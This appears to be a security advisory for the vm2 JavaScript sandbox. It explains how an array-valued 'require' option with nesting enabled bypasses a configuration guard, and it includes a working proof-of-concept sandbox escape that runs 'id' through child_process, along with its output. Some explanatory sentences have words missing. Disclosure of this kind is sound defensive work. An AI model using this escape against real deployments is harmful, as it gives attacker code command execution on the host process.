Summary
The NodeVM constructor computes hasRealRequireConfig using typeof requireOpts === 'object' && requireOpts !== null, so require: [] bypasses the guard intended to reject nesting without an explicit require configuration. makeResolverFromLegacyOptions() then destructures the array to undefined option fields and returns a resolver containing only NESTING_OVERRIDE.vm2. Any attacker whose JavaScript is executed by a downstream NodeVM configured with {nesting: true, require: []} can load the host vm2 module, create an inner NodeVM with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in makeResolverFromLegacyOptions().
Array is converted into the vm2-only resolver:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226
Nesting loader returns the host VM constructors:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645
Proof of Concept
Preconditions:
- The host creates
NodeVM with truthy nesting and array-shaped require.
- The attacker can supply JavaScript executed by that
NodeVM.
'use strict';
const {NodeVM} = require('./index.js');
const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
const {NodeVM} = require('vm2');
const inner = new NodeVM({require: {builtin: ['child_process']}});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()"
);
`);
console.log(result);
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)
The hasRealRequireConfig guard fails open because it returns true for arrays, although arrays are not configuration objects. applies object destructuring to the array, obtains undefined and values, merges , and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner , whose configuration is selected inside the sandbox.